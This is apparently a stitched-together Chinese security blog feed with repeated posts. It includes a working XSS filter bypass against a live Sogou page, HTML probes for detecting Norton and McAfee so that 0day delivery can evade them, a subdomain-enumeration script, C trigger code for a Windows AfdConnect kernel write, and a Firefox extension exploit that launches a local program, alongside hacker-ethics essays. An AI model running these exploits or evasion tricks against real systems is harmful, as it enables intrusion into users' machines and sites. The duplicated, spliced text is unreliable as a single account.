我真有点晕~~
一、经典的白帽子
先从wooyun上的一个漏洞公告说起:《搜狗存在严重存储型XSS》 :
我们先看白帽子的“漏洞证明”
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000
很奇怪证明方式既然是“xss漏洞”,为什么一个弹框都没有给出来呢? 我们再看看他提交的测试字符很特别“WCRTESTINPUT000000”,这个应该是某中黑盒扫描软件的测试字符,于是我搜索了一下:
http://www.google.com.hk/#hl=zh-CN&source=hp&q=WCRTESTINPUT000000&btnG=Google+%E6%90%9C%E7%B4%A2&oq=WCRTESTINPUT000000&aq=f&aqi=&aql=&gs_sm=s&gs_upl=7970l7970l0l1l1l0l0l0l0l0l0ll0&fp=a3a6d99a2d1b77d7&biw=1654&bih=875
结果很壮观!!看来我的推断没有错,而且被“义务”扫描站还真不少,后来经过hi群的 CnCxzSec衰仔 提醒这个软件是“WCR”【WCRTESTINPUT000000==>WCR TEST INPUT 000000】也就是:WebCruiser
这个就很好解释了,该“白帽子”用WebCruiser扫描sogou.com,因为WebCruiser这个软件的判断可能有点粗糙:提交一个特征字符“WCRTESTINPUT000000”给测试的参数,如果页面里返回这个字符,那么就认定他有xss漏洞! 他的提交根本就没有考虑到过滤的问题,所以他这个的误暴率是相当高的! 悲剧的是,现在好像这样的工具泛滥,直接导致了某些人的思维逻辑的出现混乱?! 就在前不久,在一个老外的站上看到一篇报道:《SQL Injection Vulnerability in Google Lab Database System》 作者通过多个sql注射软件的报告就认定google存在注射,而且作者的逻辑非常有意思:
"Proof it. because I am Also Proof it's Vulnerable. If they say's Google Lab is Not Vulnerable, It Means We get new Bugs in Some Famous SQL Injection tools. And also and 1=1 concept. So tell them to proof this and I don't think All tools are false. because 1 tools can false, 2 tools can get false but not All. ALL Tools say's it is Vulnerable, So i don't think it any confusion. :D "
如何我们看看这位白帽子的回复:
“由于对POST的数据过滤不严,造成了永久存储型XSS(我没使用alert顾及到厂商的面子问题,但是我已经post数据为:”
“这个根本就是存在,如果厂商还不确认,并且继续还有人质疑真实性的话,我就只有xss worm或者挂马用来证明呢!你们没有测试为什么就说不存在呢?”
我真有点晕~~,难道是那老外的同学来了??!!
二、经典的漏洞
我们继续测试下http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000这个点到底可不可以来个跨,继续提交:
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000“b 貌似好多地方都有转义,但是还有一个地方没有被转
<div class="pagebar2">
<span class="hide"><img src="images/previous2.gif"/></span> <span class="pagenumcur">1</span> <a class="pagenum" href="/skins/search.php?word=WCRTESTINPUT000000"b">2</a> <a class="pagenum" href="/skins/search.php?word=WCRTESTINPUT000000"b">3</a> ... <a class="next2" href="/skins/search.php?word=WCRTESTINPUT000000"b"><img src="images/next2.gif"/></a> 共<span class="num">3</span>页 到第 <input type="text" id="pagenum" value="1" size="4"> 页 <a href='javascript:location.href=""+document.getElementById("pagenum").value+".html";'><img height="24" width="50" alt="确定" src="images/jumpage.gif"></a>
代码插入给里<a>里面,我们直接用“事件”来测试下:http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=alert(1)// 得到:
<div class="pagebar2">
<span class="hide"><img src="images/previous2.gif"/></span> <span class="pagenumcur">1</span> <a class="pagenum" href="/skins/search.php?word=WCRTESTINPUT000000" onmouseover=[removed](1)//">2</a> ... <a class="next2" href="/skins/search.php?word=WCRTESTINPUT000000" onmouseover=[removed](1)//"><img src="images/next2.gif"/></a> 共<span class="num">2</span>页 到第 <input type="text" id="pagenum" value="1" size="4"> 页 <a href='javascript:location.href=""+document.getElementById("pagenum").value+".html";'><img height="24" width="50" alt="确定" src="images/jumpage.gif"></a>
居然还有关键词过滤!!! 而且居然把alert设为关键词!![让你们就会弹框!!] alert-->[removed]
所以来个经典的方式:http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=window["al"+"ert"](1)// 终于又可以弹jj了~~
三、经典的厂商
在我以前的blog里有提到过《悲剧的"厂商回复"》 里面的例子也是非常经典的~~,对于上面的漏洞,我成功弹jj后,在某群我发给了sogou的安全人员的,不过应该是“表示压力不大!”,到目前为止还是unfix!对于国内各大门户等甲方来说,这个不足为奇!不是有句经典名言吗:“你要弹jj,那你就弹到死吧!”,在我的印象里,qq和阿里集团还是比较不错的,虽然有的时候执行力表现的是那么阳痿! 不过,一般情况下只要有人来个alert,就有人出来联系处理了!! :)
面对这些“经典的白帽子”、“经典的漏洞”、“经典的厂商”,我真有点晕~~~
[本文提到的都是“对事不对人”,请不要“对号入座”!]
我真有点晕~~
一、经典的白帽子
先从wooyun上的一个漏洞公告说起:《搜狗存在严重存储型XSS》 :
我们先看白帽子的“漏洞证明”
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000
很奇怪证明方式既然是“xss漏洞”,为什么一个弹框都没有给出来呢? 我们再看看他提交的测试字符很特别“WCRTESTINPUT000000”,这个应该是某中黑盒扫描软件的测试字符,于是我搜索了一下:
http://www.google.com.hk/#hl=zh-CN&source=hp&q=WCRTESTINPUT000000&btnG=Google+%E6%90%9C%E7%B4%A2&oq=WCRTESTINPUT000000&aq=f&aqi=&aql=&gs_sm=s&gs_upl=7970l7970l0l1l1l0l0l0l0l0l0ll0&fp=a3a6d99a2d1b77d7&biw=1654&bih=875
结果很壮观!!看来我的推断没有错,而且被“义务”扫描站还真不少,后来经过hi群的 CnCxzSec衰仔 提醒这个软件是“WCR”【WCRTESTINPUT000000==>WCR TEST INPUT 000000】也就是:WebCruiser
这个就很好解释了,该“白帽子”用WebCruiser扫描sogou.com,因为WebCruiser这个软件的判断可能有点粗糙:提交一个特征字符“WCRTESTINPUT000000”给测试的参数,如果页面里返回这个字符,那么就认定他有xss漏洞! 他的提交根本就没有考虑到过滤的问题,所以他这个的误暴率是相当高的! 悲剧的是,现在好像这样的工具泛滥,直接导致了某些人的思维逻辑的出现混乱?! 就在前不久,在一个老外的站上看到一篇报道:《SQL Injection Vulnerability in Google Lab Database System》 作者通过多个sql注射软件的报告就认定google存在注射,而且作者的逻辑非常有意思:
"Proof it. because I am Also Proof it's Vulnerable. If they say's Google Lab is Not Vulnerable, It Means We get new Bugs in Some Famous SQL Injection tools. And also and 1=1 concept. So tell them to proof this and I don't think All tools are false. because 1 tools can false, 2 tools can get false but not All. ALL Tools say's it is Vulnerable, So i don't think it any confusion. :D "
如何我们看看这位白帽子的回复:
“由于对POST的数据过滤不严,造成了永久存储型XSS(我没使用alert顾及到厂商的面子问题,但是我已经post数据为:”
“这个根本就是存在,如果厂商还不确认,并且继续还有人质疑真实性的话,我就只有xss worm或者挂马用来证明呢!你们没有测试为什么就说不存在呢?”
我真有点晕~~,难道是那老外的同学来了??!!
二、经典的漏洞
我们继续测试下http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000这个点到底可不可以来个跨,继续提交:
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000“b 貌似好多地方都有转义,但是还有一个地方没有被转
<div class="pagebar2">
<span class="hide"><img src="images/previous2.gif"/></span> <span class="pagenumcur">1</span> <a class="pagenum" href="/skins/search.php?word=WCRTESTINPUT000000"b">2</a> <a class="pagenum" href="/skins/search.php?word=WCRTESTINPUT000000"b">3</a> ... <a class="next2" href="/skins/search.php?word=WCRTESTINPUT000000"b"><img src="images/next2.gif"/></a> 共<span class="num">3</span>页 到第 <input type="text" id="pagenum" value="1" size="4"> 页 <a href='javascript:location.href=""+document.getElementById("pagenum").value+".html";'><img height="24" width="50" alt="确定" src="images/jumpage.gif"></a>
代码插入给里<a>里面,我们直接用“事件”来测试下:http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=alert(1)// 得到:
<div class="pagebar2">
<span class="hide"><img src="images/previous2.gif"/></span> <span class="pagenumcur">1</span> <a class="pagenum" href="/skins/search.php?word=WCRTESTINPUT000000" onmouseover=[removed](1)//">2</a> ... <a class="next2" href="/skins/search.php?word=WCRTESTINPUT000000" onmouseover=[removed](1)//"><img src="images/next2.gif"/></a> 共<span class="num">2</span>页 到第 <input type="text" id="pagenum" value="1" size="4"> 页 <a href='javascript:location.href=""+document.getElementById("pagenum").value+".html";'><img height="24" width="50" alt="确定" src="images/jumpage.gif"></a>
居然还有关键词过滤!!! 而且居然把alert设为关键词!![让你们就会弹框!!] alert-->[removed]
所以来个经典的方式:http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=window["al"+"ert"](1)// 终于又可以弹jj了~~
三、经典的厂商
在我以前的blog里有提到过《悲剧的"厂商回复"》 里面的例子也是非常经典的~~,对于上面的漏洞,我成功弹jj后,在某群我发给了sogou的安全人员的,不过应该是“表示压力不大!”,到目前为止还是unfix!对于国内各大门户等甲方来说,这个不足为奇!不是有句经典名言吗:“你要弹jj,那你就弹到死吧!”,在我的印象里,qq和阿里集团还是比较不错的,虽然有的时候执行力表现的是那么阳痿! 不过,一般情况下只要有人来个alert,就有人出来联系处理了!! :)
面对这些“经典的白帽子”、“经典的漏洞”、“经典的厂商”,我真有点晕~~~
[本文提到的都是“对事不对人”,请不要“对号入座”!]
http://finance.sina.com.cn/consume/puguangtai/20110701/105810079696.shtml
这种事情如果是真实的,该杀了!
还有医院几次手术还都收费,领导也该关起来!
很多人在挂0day时一不小心就被安全公司截获了样本,有些时候,如果你实在bypass不了某款安全软件的检测的话,那么就绕着它走吧。
虽然可能打不中目标,但也比0day被抓了去要好。
比如下面的POC:
<html><body>
<div id=sH style='display:none'><img src="symres:sb_nortoncertified.png" onerror="alert('Norton not Installed.')" onload="alert('Norton Installed!')"></img></div>
</body></html>
McAfee也是一样:
<html><body>
<div id=sH style='display:none'><img src="sacore:green.gif" onerror="alert('McAfee Site Advisor not Installed.')" onload="alert('McAfee Site Advisor Installed!')"></img></div>
</body></html>
抛砖引玉,如果各位看官有什么其他的思路,也请不吝赐教。
阅读全文周末很无聊,也很热,于是跑到公司吹空调写代码。结果今天人品爆好,第一次编译就通过了,运行的时候也只出了一个非常好查出原因的bug,立即解决了。
搞完代码突发奇想,决定去北高峰看日落。没有任何理由的,突然这么想,连自己都吓了一跳。于是乎查路线,准备过去。准备得差不多了,突然有心灰意冷懒得去了……悲剧。更悲剧的是,我想把这个神奇的事情分享给LP大人听一下。因为我很少运动,一个人爬山看日落这么有情调的事情,更不是我的做法,至少最近几年没这种浪漫的念头了。
果不其然,打电话告诉LP后,她很惊讶,也有些疑惑……我只是突发奇想,但是她却想提炼出一个中心思想来,并让我归纳出一个这么想的理由。我自己都不知道为什么突然想去,何等的悲催啊。
以后不乱想了……
记得有次做了一个模拟黑客攻击的演讲 在前期渗透部分 提到过几种收集二级域名的方法
其中说道利用google寻找并整理二级域名列表的方法 目前有人开发了相应的工具 其实这种自动化收集信息的工具很多
而我喜欢脚本 是因为可以让自己不那么懒(方便自己扩展或删减功能)
不过当时也提到 这种方法 并不准确 会存在误差
#!/usr/bin/python -tt
# gxfr replicates dns zone transfers by enumerating subdomains using advanced search engine queries and conducting dns lookups.
# By Tim Tomes (LaNMaSteR53)
# Available for download at www.LaNMaSteR53.com
import sys, os.path, urllib2, re, time, socket, random
def help():
print """ Syntax: ./gxfr.py domain [-v] [-t secs] [-q queries] [--no-encrypt] [--dns-lookup] [--proxy file|ip:port] [--user-agent 'string']
-h, --help this screen
-v enable verbose mode
-t [num of seconds] set number of seconds to wait between queries (default=5)
-q [max num of queries] restrict to maximum number of queries (default=0, indefinite)
--no-encrypt disable SSL encrypted search engine queries (less effective)
--dns-lookup enable dns lookups of all subdomains
--proxy [file|ip:port] use a proxy or list of open proxies to send queries (@random w/list)
- [file] must consist of 1 or more ip:port pairs
--user-agent ['string'] set a custom user-agent string
Example:
$ ./gxfr.py foxnews.com --no-encrypt --dns-lookup -t 5 -q 5 -v --proxy open_proxies.txt
"""
sys.exit(2)
if len(sys.argv) < 2:
help()
if '-h' in sys.argv or '--help' in sys.argv:
help()
# declare vars and process arguments
query_cnt = 0
domain = sys.argv[1]
sys.argv = sys.argv[2:]
lookup = False
encrypt = True
proto = 'https'
url = 'https://encrypted.google.com/search?num=100&q=inurl%3A' + domain + '+site%3A' + domain
proxy = False
user_agent = '(default) Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1'
verbose = False
secs = 5
max_queries = 0 # infinite
try:
if len(sys.argv) > 0:
if '--dns-lookup' in sys.argv:
lookup = True
if '--no-encrypt' in sys.argv:
encrypt = False
proto = 'http'
url = 'http://www.google.com/search?q=inurl%3A' + domain + '+site%3A' + domain
if '--proxy' in sys.argv:
proxy = True
filename = sys.argv[sys.argv.index('--proxy') + 1]
if os.path.exists(filename):
proxies = open(filename).read().split()
else:
proxies = [filename]
if '--user-agent' in sys.argv:
user_agent = sys.argv[sys.argv.index('--user-agent') + 1]
if '-v' in sys.argv:
verbose = True
if '-t' in sys.argv:
secs = int(sys.argv[sys.argv.index('-t') + 1])
if '-q' in sys.argv:
max_queries = int(sys.argv[sys.argv.index('-q') + 1])
except:
help()
pattern = '<cite>[\w://]*?([\w\.-]+?)<b>' + domain + '</b>'
subs = []
new = True
# --begin--
print '[-] domain:', domain
print '[-] user-agent:', user_agent
# execute search engine queries and scrape results storing subdomains in a list
print '[-] querying search engine, please wait...'
# loop until no new subdomains are found
while new == True:
query = ""
# build query based on results of previous results
for sub in subs:
query += '+-site:' + sub + domain
new_url = url + query
new_url = new_url[:2074]
# build web request and submit query
request = urllib2.Request(new_url)
# spoof user-agent string
request.add_header('User-Agent', user_agent)
# if proxy is enabled, use the correct handler
if proxy == True:
# validate proxies at runtime
while True:
try:
# select a proxy from list at random
num = random.randint(0,len(proxies)-1)
host = proxies[num]
opener = urllib2.build_opener(urllib2.ProxyHandler({proto: host}))
if verbose: print '[+] sending query to', host
# send query to proxy server
result = opener.open(request).read()
# exit while loop if successful
break
except Exception as inst:
print '[!] {0} failed: {1}'.format(host, inst)
if len(proxies) == 1:
# exit of no proxy servers from list are valid
print '[-] valid proxy server not found'
sys.exit(2)
else:
# remove host from list of proxies and try again
del proxies[num]
else:
opener = urllib2.build_opener(urllib2.HTTPHandler(), urllib2.HTTPSHandler())
if verbose: print '[+] sending query...'
# send query to search engine
try:
result = opener.open(request).read()
except Exception as inst:
print '[!] {0}'.format(inst)
if str(inst).index('503') != -1: print '[!] possible shun: use --proxy or find something else to do for 24 hours :)'
sys.exit(2)
# iterate query count
query_cnt += 1
sites = re.findall(pattern, result)
# create a uniq list
sites = list(set(sites))
new = False
# add subdomain to list if not already exists
for site in sites:
if site not in subs:
if verbose: print '[!] subdomain found:', site
subs.append(site)
new = True
# exit if all subdomains have been found
if new == False:
print '[-] all available subdomains found...'
break
# exit if maximum number of queries has been made
if query_cnt == max_queries:
print '[-] maximum number of queries made...'
break
# sleep script to avoid lock-out
if verbose: print '[+] sleeping to avoid lock-out...'
time.sleep(secs)
# print list of subdomains
print '[-] successful queries made:', str(query_cnt)
if verbose: print '[+] final query string:', new_url
print ' '
print '[subdomains] -', str(len(subs))
for sub in subs: print sub + domain
# conduct dns lookup if argument is present
if lookup == True:
print ' '
print '[-] querying dns, please wait...'
dict = {}
# create a dictionary where the subdomain is the key and a list of all associated ips is the value
for sub in subs:
sub = sub + domain
if verbose: print '[+] querying dns for', sub + '...'
# dns query and dictionary assignment
dict[sub] = list(set([item[4][0] for item in socket.getaddrinfo(sub, 80)]))
# print table of subdomains and ips
print ' '
print '[ip]'.ljust(16, ' ') + '[subdomain]'
for key in dict.keys():
for ip in dict[key]:
print ip.ljust(16, ' ') + key
# --end--
阅读全文
补丁补在了AfdConnect函数中,先看看没打补丁前的代码:
PAGE:00013D41 loc_13D41: ; CODE XREF: AfdConnect(x,x)+1EE7 j
PAGE:00013D41 lea eax, [edx+30h]
PAGE:00013D44 mov [edx+14h], eax
PAGE:00013D47 mov eax, [ebp+inputlength_c]
PAGE:00013D4A mov [edx+10h], eax
PAGE:00013D4D xor ecx, ecx
PAGE:00013D4F mov edi, [ebp+Irp]
PAGE:00013D52 cmp [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength], ecx
PAGE:00013D55 ja loc_15465 ; <-------------------------------------------
PAGE:00015465 loc_15465: ; CODE XREF: AfdConnect(x,x)+100 j
PAGE:00015465 cmp [edi+IRP.RequestorMode], 1
PAGE:00015469 jnz loc_13D5B
PAGE:0001546F mov eax, ds:__imp__MmUserProbeAddress
PAGE:00015474 mov eax, [eax]
PAGE:00015476 cmp [edi+IRP.UserBuffer], eax
PAGE:00015479 jnb loc_15B41
在上面两段代码处出现问题,如果将OutputBufferLength赋0,那么直接绕过地址检查。补丁后先判断UserBuffer是否为空。
看触发代码:(将0x804d8000改写为0xc0000207)
<-----------------------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <conio.h>
#include <Winsock2.h>
#pragma comment (lib, "ws2_32.lib")
DWORD buf[0x30];
int main( )
{
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG dwReturnSize;
WSAStartup(0x0202,&ws);
peer.sin_family = AF_INET;
peer.sin_port = htons(0);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf("connect error\n");
}
buf[3]=1;
buf[4]=0x20;
if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)0x804d8000, 0x0,&dwReturnSize, NULL))
{
printf("error=%d\n", GetLastError());
}
getch();
return TRUE;
}
1. 必须让connect执行失败。
2. 最后的写操作是在完成例程插的一个APC例程中执行
注:粗浅分析,可能有错。
阅读全文补丁补在了AfdConnect函数中,先看看没打补丁前的代码:
PAGE:00013D41 loc_13D41: ; CODE XREF: AfdConnect(x,x)+1EE7 j
PAGE:00013D41 lea eax, [edx+30h]
PAGE:00013D44 mov [edx+14h], eax
PAGE:00013D47 mov eax, [ebp+inputlength_c]
PAGE:00013D4A mov [edx+10h], eax
PAGE:00013D4D xor ecx, ecx
PAGE:00013D4F mov edi, [ebp+Irp]
PAGE:00013D52 cmp [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength], ecx
PAGE:00013D55 ja loc_15465 ; <-------------------------------------------
PAGE:00015465 loc_15465: ; CODE XREF: AfdConnect(x,x)+100 j
PAGE:00015465 cmp [edi+IRP.RequestorMode], 1
PAGE:00015469 jnz loc_13D5B
PAGE:0001546F mov eax, ds:__imp__MmUserProbeAddress
PAGE:00015474 mov eax, [eax]
PAGE:00015476 cmp [edi+IRP.UserBuffer], eax
PAGE:00015479 jnb loc_15B41
在上面两段代码处出现问题,如果将OutputBufferLength赋0,那么直接绕过地址检查。补丁后先判断UserBuffer是否为空。
看触发代码:(将0x804d8000改写为0xc0000207)
<-----------------------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <conio.h>
#include <Winsock2.h>
#pragma comment (lib, "ws2_32.lib")
DWORD buf[0x30];
int main( )
{
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG dwReturnSize;
WSAStartup(0x0202,&ws);
peer.sin_family = AF_INET;
peer.sin_port = htons(0);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf("connect error\n");
}
buf[3]=1;
buf[4]=0x20;
if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)0x804d8000, 0x0,&dwReturnSize, NULL))
{
printf("error=%d\n", GetLastError());
}
getch();
return TRUE;
}
注:粗浅分析,可能有错。
阅读全文关于firefox的2个插件的漏洞
文/superhei 2011年06月22日
一、火狐魔镜
1.Exp: http://www.80vul.com/firefox/firefox-cn-nday.html
<!--
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("C:\\WINDOWS\\system32\\calc.exe");
var process =Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(file);
var args = ["-c", ""];
process.run(false, args, args.length);
/*
-->
<script>
document.write("<div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain', '<sc"+"ript src="+document.URL+"></scr"+"ipt>')\"><h3>DRAG ME!!</h3></div>");
</script>
<!--
*/
-->
2.分析
这里之分析下最直接的触发的地方的代码:
livemargins@mozillaonline.com\content\search.js 函数:_translateInitCallback():
function _translateInitCallback(data, toLang) {
var status = 'fail';
if (data && data.responseStatus === 200) {
var gtResult = {
entry: {
toLanguage: code2name[toLang] ? code2name[toLang] : toLang,
text: data.responseData.translatedText //取${entry.text} = data.responseData.translatedText
}
};
var template = unescape($('#googletrans-template').html());
var gtContent = $('<div>').attr('id', 'googletrans-content');
gtContent.html(TrimPath.parseTemplate(template).process(gtResult)); //通过.html()操作googletrans-template 在 \content\search.html里显示
for (var langCode in code2name) {
if (langCode !== fromLang) {
$('#googletrans-tlcode', gtContent).
addOption(langCode, "翻译为 " + code2name[langCode]);
}
}
..............
在livemargins@mozillaonline.com\content\search.html里
<div id="googletrans-template" style="display:none;">
<div class="googletrans-item">
<span>${entry.toLanguage}</span> ${entry.text} //显示${entry.text}
</div>
<select id="googletrans-tlcode">
</select>
<span style="color: grey;">或者</span>
<a href="javascript:void(0);" class="googletrans-button" target="_blank">翻译全文</a>
</div>
我们继续跟一下data.responseData.translatedText。 grep 一下_translateInitCallback()的调用:
function _detectCallback() {
var toLang = 'en';
if (fromLang && fromLang.length > 0) {
if (fromLang !== 'zh-CN') {
toLang = 'zh-CN';
}
_translate(toLang, _translateInitCallback); //这里 _translate callback给了_translateInitCallback()
} else {
self.endSearch(searchString);
}
}
我们看一下_translate()的代码:
function _translate(toLang, callback) {
jQuery.ajax({
url: 'http://ajax.googleapis.com/ajax/services/language/translate',
method: 'POST',
dataType: 'json',
timeout: 5000,
data: {
v: "1.0",
q: searchString,
langpair: "|" + toLang,
key: 'ABQIAAAASCaOeo3ta_dogUbwquyfCxSpqFEWLxmF2C8ASAeMYkWcm8RXShQKtE5gb4GQJT6JrnWVPp5dE67yyw'
},
beforeSend: function(request) {
request.setRequestHeader('Referer', 'http://g-fox.cn/');
},
success: function(data){
callback(data, toLang);
},
error: function(request, status, errorThrown) {
callback(null, toLang);
}
});
}
data.responseData来源于jQuery.ajax:
http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&langpair=|zh-CN&key=ABQIAAAASCaOeo3ta_dogUbwquyfCxSpqFEWLxmF2C8ASAeMYkWcm8RXShQKtE5gb4GQJT6JrnWVPp5dE67yyw
官方的补丁是多处都加了函数stripXss()进行转义[至于有没有漏网之鱼那就不清楚了:)]:
stripXss: function(s) {
if (!s) {
return s;
}
return $('<p>').text(s).html();
},
二、firebug
http://www.80vul.com/firefox/Firebug%20Firefox%20Extension%20Cross%20Context%20Scripting%20Vulnerability.htm
后话:
1、其实这些东西都是去年我在blog上发起的《[技术挑战]How To Exploit Location Cross-Domain Scripting》里的Firefox的部分演示。
2、firefox插件里的“Cross Context Scripting”的问题考古:
2006 《Cross Context Scripting with Sage》
2009 《Cross Context Scripting with Firefox》
《Exploiting Cross Context Scripting Vulnerabilities in Firefox》
由此可以看出firefox的一个插件的xss足够root你的pc的而且是跨平台的:)而且playload的实现有现存的API[如实现一个download-exec的playload只要几行代码就可以了],其实这个应该算是firefox的对插件系统的设计问题,chrome的插件系统就科学很多[以后的的blog可能会给出具体的列子说明:)] 或许firefox以后的版本有所改进...
3、对于firefox插件代码审计是一个值得去挖掘一下的。
4、小心插件里的第三方内容。在《WEB2.0下的渗透测试》 我就有提到的,对于firefox的插件系统来说,如果引用的第三方内容如[Javascript]被人恶意控制的化,那效果是显而易见的。
某人最近很郁闷,他未来的老丈人不看好他的前景,他也觉得很难对这位老人解释自己的职业,说的好听点是安全研究员,但在圈子里大家都把我们叫黑客。黑客,他老丈人一听就开始摇头了,是啊,最近黑客新闻正的挺多的,这不还赶上某地黑客窝点被警方捣毁的大事吗?你这不是干违法犯罪的勾吗,居然也想来明媒正娶我的女儿,没门。
hacker这词,从国外来的,经过这么多年的变化,真的也很难说清楚他真正的含义了,有人说凯文是黑客,有人说史迪文是黑客,还有人说比尔叔叔是黑客,最近还有据说是国内黑客圈里的顶级人物发表教学讲话说雷锋叔叔也是黑客的,以至于到现在我都怀疑,国内的这么多黑客敢情都是在响应号召学雷峰啊。
不过我大概知道我们被称呼为黑客的原因,因为我们是倾向于研究攻击技术研究的技术人员。很久以前,研究攻击技术是被正规的安全研究圈子所不齿的,正规的安全研究只热心于研究防护的技术,如密码保护技术,安全体系结构等,于是爱好研究攻击技术的技术研究人员就被视为异类,排斥在安全研究的体制之外,他们只能以黑客的身份,通过自己在攻击技术上研究的成果,向那些正规的安全研究圈子证明,安全防护与攻击永远都是一对矛盾体,不研究攻击技术只单纯的研究防护技术,攻击技术总能找到饶开防护技术的方法去突破。到现在,攻击技术的研究也越来越被正规的安全公司所重视,即使是微软这样的软件巨头,也承认了攻击技术的研究的地位,每年举办蓝帽会议,出钱邀请这些对攻击技术有研究的技术人员来给微软上至总裁,下到普通的开发人员讲攻击技术和安全的课。
但是同时,随着电子商务和越来越多的信息通过和依赖网络,也给很多人展示出了攻击技术的无限钱途,而技术信息的披露也使得入侵需要付出的技术成本越来越低,于是拿着工具在网络上恶意入侵和获得非法收益的人越来越多,他们也顶着黑客的光环,虽然他们或许对工具使用的攻击技术一无所知,但是却被新闻和媒体广泛的报道与渲染,甚至成为捧为天才,进一步吸引好奇的民众,惹得很多无知的孩子以他们为榜样,于是越来越多的只会用工具的“黑客”诞生了,当然一些有天分的孩子最后能在攻击技术上有所研究,不过那时候,吸引他们的更多的是黑客的浮名与入侵获取的现实利益了,技术研究只是一个手段而已。
当侠义的精神已经消失,盖世的武功也只能成为逞强斗狠,凌辱他人的工具,在只有名与利的江湖里,侠客早已消失。当追求技术完美与精神的自由的黑客精神,在喧嚣的红尘里迷失,而黑客技术只沦落为恶意入侵和获取非法利益的手段的时候,世上也就没有真正的黑客了。
江湖变了,人也老了,曾经的叛逆的那些攻击技术研究的黑客先驱已不能再回首,行业的发展也使得攻击技术的研究终于能光明正大的立足于安全研究领域的时候,或许是应该让我们这些承袭攻击技术研究的"黑客"回归到传统的安全技术人员的本色上去的时候了,而不再是戴着一顶黑客的帽子,和那些今时代的黑客去争论谁是真正黑客。
曾经有很多人问过,什么才是真正的黑客。我也曾经很迷惑过,究竟是如何才是一个真正的黑客呢?
上个月,有幸和sowhat(薛峰)大侠一起接受采访的时候,sowhat大侠的一句话对我茅塞顿开,sowhat说,黑客无非就是两点:control和discover,control是黑客兴趣最初的来源,而discover才是一个真正黑客的本质所在。
discover,不断探索和突破的精神,才是一个真正黑客精神的最真实的写照,其实我们可以把所有那些在计算机技术领域内,不断的用自己的才智和能力去创造和discover未知秘密的人称作黑客,无论他是否拥有黑客的行为或攻击的技术。就像没有武功的幼年郭靖一样,为了义气拼死也不说出哲别的藏身之所,身上所体现出来的侠骨风范,能不称之为侠吗?
当然我们回避不了control,他是一个黑客兴趣最初的由来,很多成为真正的黑客的人,当初也未免没有做过control的事情,正如学武功的人的刚初目的一样:打败某人,获得control. 谁都有过年少,我理解一个初学黑客的人对系统最高权限的control的渴望 ,但是如果一个黑客只停留在control的层面,只停留和满足于在利用别人的discover去获得control的层面,即使他control过上万个系统,control过最高秘密的系统,最多也不过是个二流的黑客,因为他骨子里缺乏黑客discover的精神,如果他更是利用control的能力去损坏别人合法的利益而获得非法的利益,他也只能是罪犯而不是黑客,或者是黑客里的败类而已。真正的黑客,会很快就从control中升华到discover的境界,去研究和探索,利用自己的研究和探索去建设而不是破坏。
曾经有篇帖子对国内的黑客和侠客进行了对比,不可否认中国的侠客文化对国内的黑客的影响,但从某种含义上,我觉得国内的黑客文化不是被侠客文化所左右,只是被江湖刀客文化所左右,正如高明的武功是用来杀人,但真正的侠者,是不会轻易擅用自己的武功去做损坏别人合法利益获取自己非法利益的事情的,那些肆意靠自己拥有的攻击技能去干一些见不得人勾当的人,只是江湖中的刀客而已,纵使拥有盖世的武功,也只能成为东方不败,难当侠客二字。而国内外这些黑客门派再多,人数再多,动则利用自己所掌握的技能去随便入侵或DDOS站点好玩显摆,或者发泄自己的个人恩怨,甚至去图谋获得非法利益的人,那里能称得上一个侠字呢?
或许未来(其实现在就已经是了)黑客只是control的代名词,正如江湖上,侠客已经蜕变成来去如风,杀人如麻的刀客的敬称。在缺乏了真正黑客精神的黑客圈,也会正如缺乏了真正侠客的江湖一样;刀光剑影里,只有尔虞我诈的黑暗与欺骗,吞噬下一批批向往侠客和黑客的人群。